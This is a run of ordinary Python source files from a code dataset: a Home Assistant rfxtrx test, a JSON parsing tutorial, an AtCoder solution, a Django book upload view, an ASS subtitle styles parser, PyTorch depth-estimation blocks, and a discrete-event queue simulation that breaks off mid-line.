rfxtrx_core.RECEIVED_EVT_SUBSCRIBERS:\n evt_sub(event)\n self.assertEqual(2, len(rfxtrx_core.RFX_DEVICES))\n\n # Trying to add a sensor\n event = rfxtrx_core.get_rfx_object('0a52085e070100b31b0279')\n event.data = bytearray(b'\\nR\\x08^\\x07\\x01\\x00\\xb3\\x1b\\x02y')\n for evt_sub in rfxtrx_core.RECEIVED_EVT_SUBSCRIBERS:\n evt_sub(event)\n self.assertEqual(2, len(rfxtrx_core.RFX_DEVICES))\n\n # Trying to add a light\n event = rfxtrx_core.get_rfx_object('0b1100100118cdea02010f70')\n event.data = bytearray([0x0b, 0x11, 0x11, 0x10, 0x01, 0x18,\n 0xcd, 0xea, 0x01, 0x02, 0x0f, 0x70])\n for evt_sub in rfxtrx_core.RECEIVED_EVT_SUBSCRIBERS:\n evt_sub(event)\n self.assertEqual(2, len(rfxtrx_core.RFX_DEVICES))\n\n def test_discover_rollershutter_noautoadd(self):\n \"\"\"Test with discovery of roller shutter when auto add is False.\"\"\"\n self.assertTrue(_setup_component(self.hass, 'rollershutter', {\n 'rollershutter': {'platform': 'rfxtrx',\n 'automatic_add': False,\n 'devices': {}}}))\n\n event = rfxtrx_core.get_rfx_object('0a1400adf394ab010d0060')\n event.data = bytearray([0x0A, 0x14, 0x00, 0xAD, 0xF3, 0x94,\n 0xAB, 0x01, 0x0D, 0x00, 0x60])\n\n for evt_sub in rfxtrx_core.RECEIVED_EVT_SUBSCRIBERS:\n evt_sub(event)\n self.assertEqual(0, len(rfxtrx_core.RFX_DEVICES))\n\n event = rfxtrx_core.get_rfx_object('0a1400adf394ab020e0060')\n event.data = bytearray([0x0A, 0x14, 0x00, 0xAD, 0xF3, 0x94,\n 0xAB, 0x02, 0x0E, 0x00, 0x60])\n for evt_sub in rfxtrx_core.RECEIVED_EVT_SUBSCRIBERS:\n evt_sub(event)\n self.assertEqual(0, len(rfxtrx_core.RFX_DEVICES))\n\n # Trying to add a sensor\n event = rfxtrx_core.get_rfx_object('0a52085e070100b31b0279')\n event.data = bytearray(b'\\nR\\x08^\\x07\\x01\\x00\\xb3\\x1b\\x02y')\n for evt_sub in rfxtrx_core.RECEIVED_EVT_SUBSCRIBERS:\n evt_sub(event)\n self.assertEqual(0, len(rfxtrx_core.RFX_DEVICES))\n\n # Trying to add a light\n event = rfxtrx_core.get_rfx_object('0b1100100118cdea02010f70')\n event.data = bytearray([0x0b, 0x11, 0x11, 0x10, 0x01,\n 0x18, 0xcd, 0xea, 0x01, 0x02, 0x0f, 0x70])\n for evt_sub in rfxtrx_core.RECEIVED_EVT_SUBSCRIBERS:\n evt_sub(event)\n self.assertEqual(0, len(rfxtrx_core.RFX_DEVICES))\n","repo_name":"giteshgoyal/webhelp-element-polymer","sub_path":"demofile/app/bower_components/home-assistant-dev/tests/components/rollershutter/test_rfxtrx.py","file_name":"test_rfxtrx.py","file_ext":"py","file_size_in_byte":9586,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"69"} +{"seq_id":"13911955484","text":"# Import json library\nimport json\n\ndata = '''{\n \"name\" : \"Gregory\",\n \"phone\" : {\n \"type\" : \"intl\",\n \"number\" : \"+1 253 579 4244\"\n },\n \"email\" : {\n \"hide\" : \"yes\"\n }\n}'''\n\n# loads == load from string\n# Returns a python dictionary\n\ninfo = json.loads(data)\nprint('Name:', info[\"name\"])\nprint('Hide:', info[\"email\"][\"hide\"])\n\n\n\nprint('\\r\\n\\r\\n')\n\n# Example of a list\ninpt = '''[\n { \"id\" : \"001\",\n \"x\" : \"2\",\n \"name\" : \"Gregory\"\n },\n {\n \"id\" : \"009\",\n \"x\" : \"7\",\n \"name\" : \"Michele\"\n }\n]'''\n\ninfo = json.loads(inpt)\nprint('User count:', len(info))\nfor item in info :\n print('Name', item['name'])\n print('Id:', item['id'])\n print('Attribute:', item['x'])","repo_name":"gregory-jean/Py4E-Using-Python-to-Access-Web-Data","sub_path":"Week06/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9256463952","text":"\n\nS = input()\n\nok = set()\nng = set()\nfor i in range(10):\n if S[i] == \"o\":\n ok.add(str(i))\n elif S[i] == \"x\":\n ng.add(str(i))\n\ndef judge(s):\n for i in ok:\n if i not in s:\n return False\n for i in ng:\n if i in s:\n return False\n return True\n\nans = 0\nfor i in range(10000):\n s = str(i).zfill(4)\n if judge(s):\n ans+=1\nprint(ans)","repo_name":"MatsuokaYuji/Atcoder","sub_path":"ABC201/C - Secret Number .py","file_name":"C - Secret Number .py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"14123252300","text":"from PyPDF2 import PdfReader\nfrom rest_framework.viewsets import ModelViewSet\n\nfrom apps.models.books import Book\nfrom apps.serializers.books import BookSerializer\n\n\nclass BookModelViewSet(ModelViewSet):\n queryset = Book.objects.all()\n serializer_class = BookSerializer\n\n def create(self, request, *args, **kwargs):\n pdf = request.FILES['content']\n render = PdfReader(pdf)\n\n book = Book(\n title=request.data['title'],\n content=pdf,\n category_id=request.data['category_id'],\n year=request.data['year']\n )\n\n book.pages = len(render.pages)\n\n book.save()\n # return super().create(request, *args, **kwargs)\n","repo_name":"AbdurashiDIDO/book_store_api","sub_path":"apps/views/books.py","file_name":"books.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"25824163191","text":"__author__ = \"Lucas Alessandro do Carmo Lemos\"\n__copyright__ = \"Copyright (C) 2020 Lucas Alessandro do Carmo Lemos\"\n__license__ = \"MIT\"\n__credits__ = []\n__version__ = \"0.2.1\"\n__maintainer__ = \"Lucas Alessandro do Carmo Lemos\"\n__email__ = \"stiltztinkerstein@gmail.com\"\n__status__ = ([\"Prototype\", \"Development\", \"Production\"])[2]\n\n\n# Reminder: The only uses this object has for v4styles are the methods readline, __str__ and __repr__\n# Time to rewrite the whole module, since the previous is virtually unreadable.\n\nfrom typing import Union, List\nfrom Dados.SimpleLine.SimpleLine import SimpleLine\n\n\nclass V4Styles:\n def __init__(self, v4stylescopy: Union[None, 'V4Styles'] = None, copyreference: bool = False):\n \"\"\" Constructs empty V4Styles.\n\n :param v4stylescopy: optional V4Styles instance to copy.\n :param copyreference: If true. Stored values will be references from the v4stylecopy instance.\n \"\"\"\n\n # Need to remember to add the copy case as well\n if v4stylescopy is not None:\n if isinstance(v4stylescopy, V4Styles) is False:\n raise TypeError(f\"Argument v4stylescopy has to be a V4Styles instance or omitted. Currently it is \"\n + f\"{v4stylescopy} of type {type(v4stylescopy)}.\")\n\n self.lines = []\n self.formatline = None\n\n # If you want to store every single available line,\n # instead of just those in the format \"type: text\", make storeall = True\n self.storeall = False\n\n # Make unformatted print ('__str__') all lines, including invalid ones\n self.sprintall = False\n # Make formatted print ('__repr__') all lines, including invalid ones\n self.rprintall = False\n\n if v4stylescopy is not None:\n self.setformato(v4stylescopy.getformato(copyreference))\n self.setlines(v4stylescopy.getlines(copyreference), copyreference)\n\n def __str__(self) -> str:\n \"\"\" Print unformatted version of this instance.\n\n Used for debugging. Will also print the index of the line.\n\n :return: String.\n \"\"\"\n\n saida = \"\"\n if self.formatline is not None:\n saida = f\"{self.formatline!s}\\n\"\n for _ in range(len(self.lines)):\n __ = self.lines[_]\n if isinstance(__, SimpleLine):\n if self.sprintall:\n saida = f\"{saida}({_}){__!s}\\n\"\n if isinstance(__, Estilo):\n saida = f\"{saida}({_}){__!s}\\n\"\n return saida\n\n def __repr__(self) -> str:\n \"\"\" Print formatted version of this instance.\n\n Used for saving.\n\n :return: String.\n \"\"\"\n\n saida = \"\"\n if self.formatline is not None:\n saida = f\"{self.formatline!r}\\n\"\n for _ in self.lines:\n if isinstance(_, SimpleLine):\n if self.rprintall:\n saida = f\"{saida}{_!r}\\n\"\n if isinstance(_, Estilo):\n saida = f\"{saida}{_!r}\\n\"\n return saida\n\n def readline(self, line: Union[str, SimpleLine]) -> 'V4Styles':\n \"\"\" Read the line given, store the value then return itself. Method is not case-sensitive.\n\n :param line: String or SimpleLine. Only lines that start with 'format:' or 'style:' are considered valid.\n :returns: self\n \"\"\"\n\n if (isinstance(line, str) or isinstance(line, SimpleLine) or line is not None) is False:\n raise TypeError(f\"{line} type ({type(line)}) is not compatible with V4Styles\")\n newline = SimpleLine(line)\n # if line read isn't in the format '{type}: {text}'\n if newline.gettipo() is None:\n # It will store if set beforehand\n if self.storeall:\n self.lines.append(newline)\n return self\n\n # if line read starts with 'Format:'\n if (newline.gettipo().strip()).lower() == \"format\":\n # self.lines.append(Formato(newline))\n newline = Formato(newline)\n self.formatline = newline\n\n # run through all the Estilos previously read and tell them what is this file's format\n self.lines = [_.setformato(newline) if isinstance(_, Estilo) else _ for _ in self.lines]\n return self\n\n # if line starts with 'Style:'\n if (newline.gettipo().strip()).lower() == \"style\":\n if self.formatline is not None:\n self.lines.append(Estilo(newline, self.formatline))\n else:\n self.lines.append(Estilo(newline))\n return self\n\n # Won't do anything if it is a line in the format '{type}:{text}' if type is not format or style\n # self.lines.append(newline)\n return self\n\n def isstoreall(self) -> bool:\n \"\"\" Tells instance to store invalid lines. Default value is False.\"\"\"\n if isinstance(self.storeall, bool) is False:\n raise TypeError(f\"Something changed formatline to a value other than boolean: {self.storeall}\"\n + f\"{type(self.storeall)}\")\n return self.storeall\n\n def issprintall(self) -> bool:\n \"\"\" Tells instance to f'unformatted print!s' (__str__) invalid lines. Default value is False.\"\"\"\n if isinstance(self.sprintall, bool) is False:\n raise TypeError(f\"Something changed sprintall to a value other than boolean: {self.sprintall}\"\n + f\"{type(self.sprintall)}\")\n return self.sprintall\n\n def isrprintall(self) -> bool:\n \"\"\" Tells instance to f'formatted print!r' (__repr__) invalid lines. Default values is False.\"\"\"\n if isinstance(self.rprintall, bool) is False:\n raise TypeError(f\"Something changed rprintall to a value other than boolean: {self.rprintall}\"\n + f\"{type(self.rprintall)}\")\n return self.rprintall\n\n def getformato(self, copyreference: bool = True) -> Union['Formato', None]:\n \"\"\" Return Styles format. Or None if it wasn't loaded.\n\n :param copyreference: if set to True, returns a reference for the instance. Else, returns a copy of the object.\n :return: Formato instance, or None if it isn't set.\n \"\"\"\n\n if self.formatline is not None:\n if not copyreference:\n return Formato(self.formatline)\n return self.formatline\n return None\n\n def getline(self, pos: int, copyreference: bool = True) -> Union[\"Estilo\", SimpleLine, None]:\n \"\"\" Retrieve a reference for a line from this instance's style list.\n\n If invalid lines are enabled ('storeall'), they can be disabled completely by calling the method\n 'clearinvalidlines'\n\n :param pos: index to retrieve.\n :param copyreference: if set to True. Returns a reference of the object, instead of a copy.\n :return: Estilo instance mostly. If storeall = True, may also include invalid SimpleLine instances. None if\n index is invalid.\n \"\"\"\n if isinstance(pos, int) is False:\n raise TypeError(f\"Argument 'pos' has to be int. Currently it is {pos} of type {type(pos)}\")\n if (pos < 0) or (pos >= len(self.lines)):\n return None\n if (isinstance(self.lines[pos], Estilo) or isinstance(self.lines[pos], SimpleLine)) is False:\n raise TypeError(f\"Value found wasn't Estilo or SimpleLine somehow. Value in {pos} is {self.lines[pos]} of \"\n + f\"type {type(self.lines[pos])}\")\n\n if copyreference is False:\n if isinstance(self.lines[pos], SimpleLine):\n return SimpleLine(self.lines[pos])\n elif isinstance(self.lines[pos], Estilo):\n return Estilo(self.lines[pos])\n\n return self.lines[pos]\n\n def getlines(self, copyreference: bool = True) -> List[Union['Estilo', SimpleLine]]:\n \"\"\" Returns a reference to this instance's list.\n\n If invalid lines are enabled ('storeall'), they can be disabled completely by calling the method\n 'clearinvalidlines'\n\n :param copyreference: if set to True, returns a reference to the object. Else returns a copy of the object.\n :return reference to a list of Estilo and SimpleLine instances.\n \"\"\"\n\n __ = []\n if not copyreference:\n for _ in self.lines:\n if isinstance(_, SimpleLine):\n __.append(SimpleLine(_))\n if isinstance(_, Estilo):\n __.append(Estilo(_))\n return __\n return self.lines\n\n def setstoreall(self, arg: bool) -> 'V4Styles':\n \"\"\" Tells instance to store invalid lines. Default value is False.\"\"\"\n\n if isinstance(arg, bool) is False:\n raise TypeError(f\"arg can only be a boolean. Currently is {arg} of type {type(arg)}\")\n self.storeall = arg\n return self\n\n def setsprintall(self, arg: bool) -> 'V4Styles':\n \"\"\" Tells instance to f'unformatted print!s' (__str__) invalid lines. Default value is False.\"\"\"\n\n if isinstance(arg, bool) is False:\n raise TypeError(f\"arg can only be a boolean. Currently is {arg} of type {type(arg)}\")\n self.sprintall = arg\n return self\n\n def setrprintall(self, arg: bool) -> 'V4Styles':\n \"\"\" Tells instance to f'formatted print!r' (__repr__) invalid lines. Default value is False.\"\"\"\n\n if isinstance(arg, bool) is False:\n raise TypeError(f\"arg can only be a boolean. Currently is {arg} of type {type(arg)}\")\n self.rprintall = arg\n return self\n\n def clearinvalidlines(self) -> 'V4Styles':\n \"\"\" Clear all lines that aren't recognized by the object.\n\n Doesn't need to be called if self.storeall is False. Which is the default.\n\n Also tells the object to stop storing and printing invalid lines.\n\n :return: self\n \"\"\"\n\n # This should seen as a set for multiple values\n self.lines = [_ for _ in self.lines if isinstance(_, Estilo)]\n self.storeall, self.sprintall, self.rprintall = False, False, False\n return self\n\n def setformato(self, formato: Union['Formato', str, None]) -> 'V4Styles':\n \"\"\" Set Style's format.\n\n :param formato: Formato instance or a String for it to read. None erases stored value.\n :return: self\n \"\"\"\n\n if formato is None:\n self.formatline = None\n return self\n elif (isinstance(formato, Formato) or isinstance(formato, str)) is False:\n raise TypeError(f\"Argument formato has to be a Formato instance, String or None. Currently it is {formato} \"\n + f\"of type {type(formato)}.\")\n # Creating a copy of the instance to avoid storing a reference.\n self.formatline = Formato(formato)\n return self\n\n def setline(self, newline: Union['Estilo', str, SimpleLine], pos: Union[int, None] = None) -> 'V4Styles':\n \"\"\" Replace the specific line with newline.\n\n If 'storeall' was set to true. The invalid SimpleLine lines can be cleared with the method 'clearinvalidlines'.\n\n :param newline: Estilo instance for copying. String or SimpleLine to attempt to read.\n :param pos: index to set the value. If not given, or if it is larger than the length of the list, method will\n append instead. Negative will still raise ValueError.\n :return: self.\n \"\"\"\n\n if True not in {isinstance(newline, _) for _ in (Estilo, str, SimpleLine)}:\n raise TypeError(f\"'newline' has to be Estilo, String or SimpleLine. Currently it is {newline} of type \"\n + f\"{type(newline)}\")\n if pos is not None:\n if isinstance(pos, int) is False:\n raise TypeError(f\"'pos' must be an integer or omitted. Currently it is {pos} of type {type(pos)}\")\n\n if pos < 0:\n raise ValueError(f\"Index pos is currently negative: ({pos}).\")\n\n line = Estilo(newline)\n if pos is None:\n self.lines.append(line)\n else:\n if pos >= len(self.lines):\n self.lines.append(line)\n else:\n self.lines[pos] = line\n\n return self\n\n def setlines(self, newlines: List[Union['Estilo', SimpleLine, str]], copyreference: bool = False,\n useformat: bool = False) -> 'V4Styles':\n \"\"\" Replace all the lines stored with the given list.\n\n :param newlines: the list to set. It may have Estilo, SimpleLine or String instances.\n :param copyreference: default False. If True, it will store the references, not copies of the objects. Not\n recommended.\n :param useformat: default False. If True, it will set each event to the stored format. If False, it must be set\n later.\n :return: self\n \"\"\"\n\n if isinstance(newlines, list) is False:\n raise TypeError(f\"'newlines' has to be a list with 'Estilo', 'String' or 'SimpleLine' values. Currently it \"\n + f\"is {newlines} of type {type(newlines)}\")\n for _ in newlines:\n if True not in {isinstance(_, __) for __ in (Estilo, SimpleLine, str)}:\n # set doesn't have duplicates. So this set comprehension will have one class of each type.\n __typesfound = {type(___) for ___ in newlines}\n raise TypeError(f\"'newlines' has to be a list with 'Estilo', 'SimpleLine' or str instances. Currently,\"\n + f\" it is {newlines} and contain these classes{__typesfound}.\")\n\n # validating args done, time for the actual copy\n self.lines = []\n for _ in newlines:\n if copyreference:\n # Append the reference only.\n self.lines.append(_)\n else:\n if isinstance(_, SimpleLine) or isinstance(_, str):\n self.readline(_)\n if isinstance(_, Estilo):\n self.lines.append(Estilo(_))\n if useformat:\n if self.formatline is None:\n raise ValueError(f\"Tried to use format when it's not read yet.\")\n for _ in self.lines:\n if isinstance(_, Estilo):\n # Giving each 'Estilo' a reference to format so they can track changes.\n _.setformato(self.formatline)\n return self\n\n\n# These 2 classes are here just to help me remember what is essential for them. They will get their own modules soon.\nclass Estilo:\n def __init__(self, line: Union['Estilo', str, SimpleLine] = None, formato: 'Formato' = None):\n pass\n\n @staticmethod\n def readline(line: Union[str, SimpleLine]):\n pass\n\n def setformato(self, arg: 'Formato') -> 'Estilo':\n \"\"\" Used for printing.\n\n So Estilo knows in what order should it prints it's values.\n\n :param arg:\n :return:\n \"\"\"\n return self\n\n\nclass Formato:\n def __init__(self, line: Union[str, SimpleLine, 'Formato']):\n if (isinstance(line, str) or isinstance(line, SimpleLine) or (line, Formato)) is False:\n raise TypeError(f\"Argument has to be a string, 'SimpleLine' instance or another 'Formato' instance.\")\n self.cols = []\n\n # These are the names that we know that can be used on a styles format\n # OutlineColour and TertiaryColour represent the same thing in different versions\n self.STYLENAMES = [\"Name\",\n \"Fontname\",\n \"Fontsize\",\n \"PrimaryColour\",\n \"SecondaryColour\",\n \"OutlineColour\", \"TertiaryColour\",\n \"BackColour\",\n \"Bold\",\n \"Italic\",\n \"Underline\",\n \"Strikeout\",\n \"ScaleX\",\n \"ScaleY\",\n \"Spacing\",\n \"Angle\",\n \"BorderStyle\",\n \"Outline\",\n \"Shadow\",\n \"Alignment\",\n \"MarginL\",\n \"MarginR\",\n \"MarginV\",\n \"AlphaLevel\",\n \"Encoding\",\n ]\n\n # store names and their indexes\n self.namesknown = {}\n for _ in self.STYLENAMES:\n self.namesknown[_.lower()] = None\n\n # store names that couldn't be recognised\n self.namesunknown = []\n\n # The previous list and dict are used to know what each column refers to\n # Here's the issue I have with it. The only documentation file I found is pretty old, so I can't rely on it,\n # since names were changed with later versions.\n\n def readline(self, line: Union[str, SimpleLine]) -> 'Formato':\n \"\"\"\n\n :param line:\n :return:\n \"\"\"\n\n if (isinstance(line, str) or isinstance(line, SimpleLine)) is False:\n raise TypeError(f\"Expected a String or 'SimpleLine instance. Got {line} of type {type(line)} instead.\")\n\n newline = SimpleLine(line)\n if (newline.gettipo().strip()).lower() == \"format\":\n newcols = [_.strip() for _ in newline.gettexto().split(\",\")]\n\n return self\n","repo_name":"On0n0k1/2020ASSEditor","sub_path":"Dados/V4Styles/V4Styles attempt.py","file_name":"V4Styles attempt.py","file_ext":"py","file_size_in_byte":17447,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"74583773978","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\ndef _make_scratch(in_shape, out_shape, groups=1, expand=False):\n scratch = nn.Module()\n\n out_shape0 = out_shape\n out_shape1 = out_shape\n out_shape2 = out_shape\n out_shape3 = out_shape\n out_shape4 = out_shape\n\n if expand == True:\n\n\n out_shape1 = out_shape\n out_shape2 = out_shape * 2\n out_shape3 = out_shape * 4\n out_shape4 = out_shape * 8\n\n scratch.layer1_rn = nn.Conv2d(\n in_shape[0],\n out_shape1,\n kernel_size=1,\n stride=1,\n padding=0,\n bias=False,\n groups=groups,\n )\n scratch.layer2_rn = nn.Conv2d(\n in_shape[1],\n out_shape2,\n kernel_size=1,\n stride=1,\n padding=0,\n bias=False,\n groups=groups,\n )\n scratch.layer3_rn = nn.Conv2d(\n in_shape[2],\n out_shape3,\n kernel_size=1,\n stride=1,\n padding=0,\n bias=False,\n groups=groups,\n )\n scratch.layer4_rn = nn.Conv2d(\n in_shape[3],\n out_shape4,\n kernel_size=1,\n stride=1,\n padding=0,\n bias=False,\n groups=groups,\n )\n\n return scratch\n\nclass Interpolate(nn.Module):\n \"\"\"Interpolation module.\"\"\"\n\n def __init__(self, scale_factor, mode, align_corners=False):\n \"\"\"Init.\n\n Args:\n scale_factor (float): scaling\n mode (str): interpolation mode\n \"\"\"\n super(Interpolate, self).__init__()\n\n self.interp = nn.functional.interpolate\n self.scale_factor = scale_factor\n self.mode = mode\n self.align_corners = align_corners\n\n def forward(self, x):\n \"\"\"Forward pass.\n\n Args:\n x (tensor): input\n\n Returns:\n tensor: interpolated data\n \"\"\"\n\n x = self.interp(\n x,\n scale_factor=self.scale_factor,\n mode=self.mode,\n align_corners=self.align_corners,\n )\n\n return x\n\n\nclass SoftAttn(nn.Module):\n def __init__(self, alpha=0.01, beta=1.0, dim=1, discretization='UD', convatten='False',ch=256):\n super(SoftAttn, self).__init__()\n self.dim = dim\n self.alpha = alpha\n self.beta = beta\n self.discretization = discretization\n self.convatten = convatten\n \n\n self.en_atten = nn.Sequential(\n nn.Conv2d(in_channels=ch, out_channels=ch, kernel_size=1, stride=1, padding=0),\n \n )\n self.en_feature = nn.Sequential(\n nn.Conv2d(in_channels=ch, out_channels=ch, kernel_size=1, stride=1, padding=0),\n )\n\n self.skip_add = nn.quantized.FloatFunctional()\n\n def forward(self, output_t, input_t, eps=1e-6, isADAT=False):\n \n info_map = self.en_feature(input_t)\n z = self.skip_add.add(info_map, output_t)\n atten_map = F.softmax(self.en_atten(input_t), dim=self.dim)\n z = z * atten_map\n\n return z\n\nclass SoftAttDepth(nn.Module):\n def __init__(self, alpha=0.01, beta=1.0, dim=1, discretization='UD'):\n super(SoftAttDepth, self).__init__()\n self.dim = dim\n self.alpha = alpha\n self.beta = beta\n self.discretization = discretization\n\n def get_depth_sid(self, depth_labels):\n alpha_ = torch.FloatTensor([self.alpha])\n beta_ = torch.FloatTensor([self.beta])\n t = []\n for K in range(depth_labels):\n K_ = torch.FloatTensor([K])\n t.append(torch.exp(torch.log(alpha_) + torch.log(beta_ / alpha_) * K_ / depth_labels))\n t = torch.FloatTensor(t)\n return t\n\n def forward(self, input_t, eps=1e-6):\n batch_size, depth, height, width = input_t.shape\n if self.discretization == 'SID':\n grid = self.get_depth_sid(depth).unsqueeze(0).unsqueeze(2).unsqueeze(3)\n else:\n grid = torch.linspace(\n self.alpha, self.beta, depth,\n requires_grad=False).unsqueeze(0).unsqueeze(2).unsqueeze(3)\n grid = grid.repeat(batch_size, 1, height, width).float()\n\n z = F.softmax(input_t, dim=self.dim)\n z = z * (grid.to(z.device))\n z = torch.sum(z, dim=1, keepdim=True)\n\n return z\n\nclass ResidualConvUnit_custom(nn.Module):\n \"\"\"Residual convolution module.\"\"\"\n\n def __init__(self, features, activation, layer_norm, isFlow=False):\n \"\"\"Init.\n\n Args:\n features (int): number of features\n \"\"\"\n super().__init__()\n\n self.layer_norm = layer_norm\n self.isFlow = isFlow\n self.groups = 1\n \n\n self.conv1 = nn.Conv2d(\n features,\n features,\n kernel_size=3,\n stride=1,\n padding=1,\n bias=not self.layer_norm,\n groups=self.groups,\n )\n\n self.conv2 = nn.Conv2d(\n features,\n features,\n kernel_size=3,\n stride=1,\n padding=1,\n bias=not self.layer_norm,\n groups=self.groups,\n )\n\n if self.layer_norm == True:\n self.layer_norm1 = nn.BatchNorm2d(features)\n self.layer_norm2 = nn.BatchNorm2d(features)\n\n print(f'self.conv1.weight : {self.conv1.weight.sum()}, self.conv2.weight : {self.conv2.weight.sum()}')\n self.activation = activation\n\n self.skip_add = nn.quantized.FloatFunctional()\n\n def forward(self, x):\n \"\"\"Forward pass.\n\n Args:\n x (tensor): input\n\n Returns:\n tensor: output\n \"\"\"\n\n out = self.activation(x)\n out = self.conv1(out)\n if self.layer_norm == True:\n out = self.layer_norm1(out)\n\n out = self.activation(out)\n out = self.conv2(out)\n if self.layer_norm == True:\n out = self.layer_norm2(out)\n\n if self.groups > 1:\n out = self.conv_merge(out)\n\n return self.skip_add.add(out, x)\n\nclass FeatureFusionBlock_custom(nn.Module):\n \"\"\"Feature fusion block.\"\"\"\n\n def __init__(\n self,\n features,\n activation,\n deconv=False,\n layer_norm=False,\n expand=False,\n align_corners=True,\n scale=1\n ):\n \"\"\"Init.\n\n Args:\n features (int): number of features\n \"\"\"\n super(FeatureFusionBlock_custom, self).__init__()\n\n self.deconv = deconv\n self.align_corners = align_corners\n self.scale = scale\n self.groups = 1\n\n self.expand = expand\n out_features = features\n if self.expand == True:\n if features==256:\n out_features=features\n else:\n out_features = features // 2\n\n self.out_conv = nn.Conv2d(\n features,\n out_features,\n kernel_size=1,\n stride=1,\n padding=0,\n bias=True,\n groups=1,\n )\n self.dim = 1\n print(f'self.out_conv.weight : {self.out_conv.weight.sum()}')\n self.resConfUnit1 = ResidualConvUnit_custom(features, activation, layer_norm)\n self.resConfUnit2 = ResidualConvUnit_custom(features, activation, layer_norm)\n self.en_atten = nn.Conv2d(in_channels=features, out_channels=features, kernel_size=1, stride=1, padding=0)\n self.skip_add = nn.quantized.FloatFunctional()\n\n def forward(self, *xs):\n \"\"\"Forward pass.\n\n Returns:\n tensor: output\n \"\"\"\n df = xs[0]#11763\n\n if len(xs) == 2: \n if self.scale==1:\n res = self.skip_add.add(df, xs[1]) \n else:\n res = df\n att = F.softmax(self.en_atten(self.resConfUnit1(xs[1])), dim=self.dim)\n out = res*att \n output = self.skip_add.add(self.resConfUnit2(out), res)\n\n else:\n output = self.resConfUnit2(df)\n\n output = nn.functional.interpolate(\n output, scale_factor=2, mode=\"bilinear\", align_corners=self.align_corners\n )\n\n output = self.out_conv(output)\n\n return output","repo_name":"big-chan/MTN_depth_v2","sub_path":"transdssl/blocks.py","file_name":"blocks.py","file_ext":"py","file_size_in_byte":8234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"23625935468","text":"import math\nimport random\nimport matplotlib.pyplot as plt\nimport sys\n#----------------------------------------------------------------------------------------\nclass Arribo():\n tasaArribo=1 #Variables de clase\n\n def __init__(self,relojSimulacion):\n self.tiempoArribo = relojSimulacion + (- Arribo.tasaArribo * math.log(random.random()))\n\n def dameTuTiempo(self):\n return(self.tiempoArribo)\n\n def dameTuTipo(self):\n return(\"A\")\n\n#----------------------------------------------------------------------------------------\n\nclass Partida():\n\n tasaServicio=0.25 #Variables de clase\n\n def __init__(self,relojSimulacion):\n self.tiempoPartida= relojSimulacion + ( - Partida.tasaServicio * math.log(random.random()))\n\n def dameTuTiempo(self):\n return (self.tiempoPartida)\n\n def dameTuTipo(self):\n return(\"P\")\n\n#----------------------------------------------------------------------------------------\n\nclass Cola:\n numeroCola=0\n def __init__(self):\n self.areaDeUsuariosEnCola = 0\n self.listaCantDeUsuariosDemorados=[]\n self.tiempoArribos = []\n self.numeroCola=Cola.numeroCola+1\n Cola.numeroCola += 1\n self.totalDeDemoras=0\n self.cantDeDemorados=0\n\n def actualizoArea(self, tiempoDesdeUltimoEvento):\n self.areaDeUsuariosEnCola = self.areaDeUsuariosEnCola + (len(self.tiempoArribos) * tiempoDesdeUltimoEvento)\n #len(tiempoArribo) reemplaza a la cantidad en cola\n\n def actualizoEstadistico(self,relojSimulacion):\n self.listaCantDeUsuariosDemorados.append(self.areaDeUsuariosEnCola / relojSimulacion)\n\n def dameTusDatos(self,relojSimulacion):\n print(\"Valor promedio de personas en cola\",self.numeroCola ,\" : \",self.areaDeUsuariosEnCola / relojSimulacion)\n\n def dameValorFIFO(self):\n valor = self.tiempoArribos[0].tiempoArribo\n self.tiempoArribos.pop(0)\n return (valor) #Esto devuelvo el objeto arribo en la primer posicion\n\n def dameValorLIFO(self):\n valor=self.tiempoArribos[len(self.tiempoArribos)]\n self.tiempoArribos.pop(len(self.tiempoArribos))\n return valor\n\n def dameValorRandom(self):\n valor=random.choice(self.tiempoArribos)\n self.tiempoArribos.pop(valor)\n return valor\n#----------------------------------------------------------------------------------------\n\nclass Servidor():\n numeroServidor=0\n\n def __init__(self):\n self.partida=None\n self.estado=0\n self.areaBdeT=0\n self.listaBdeT=[]\n self.numeroServidor= Servidor.numeroServidor+1\n Servidor.numeroServidor += 1\n\n def ocupoServidor(self,partida):\n self.partida= partida\n self.estado=1\n\n def desocupoServidor(self):\n self.partida=None\n self.estado=0\n\n def dameTusDatos(self,relojSimulacion):\n print(\"Uso del servidor \", self.numeroServidor, \" : \", self.areaBdeT / relojSimulacion)\n\n def actualizoArea(self,tiempoDesdeUltimoEvento):\n self.areaBdeT= self.areaBdeT+ (self.estado * tiempoDesdeUltimoEvento)\n\n def actualizoEstadistico(self,relojSimulacion):\n self.listaBdeT.append(self.areaBdeT / relojSimulacion)\n\n def creoGrafico(self):\n plt.title('Uso del servidor ' + str(self.numeroServidor))\n plt.plot(self.listaBdeT)\n plt.xlabel(\"Usuarios\")\n plt.ylabel(\"Porcentaje de uso\")\n plt.axhline(0.0625, color='r', ls=\"dotted\") # Comando para linea horizontal constante\n plt.show()\n\n#----------------------------------------------------------------------------------------\n\nclass Simulador:\n\n def __init__(self):\n self.relojSimulacion=0\n self.tiempoUltimoEvento=0\n self.areaQ1deT=0\n self.servidores=[]\n self.colas=[]\n self.numeroDeDemorados=0\n self.totalDeDemoras=0\n self.proximoEventos=[0]*2\n self.tipoProximoEvento=0\n self.cantDeDemorados = 1\n self.mediaDeDemoradosEnCola=0\n self.listaQdeT=[]\n self.cont=0\n\n def temporizador(self):\n\n tiempoMinimoProximoEvento=Partida(math.exp(29)) #Lo seteo en un arribo/partida muy grande para poder cambiar los valores\n servidorMinimo=self.buscoServidorMinimo() #Esto devuelve un objeto servidor\n listaAux=[]\n if servidorMinimo is None:\n self.proximoEventos[1]=Partida(math.exp(29)) #Lo seteo en un arribo muy grande para poder cambiar los valores\n else:\n self.proximoEventos[1]= servidorMinimo.partida #Aca le asigno el objeto partida que tiene el servidor\n\n for i in range(0,len(self.proximoEventos)):\n if 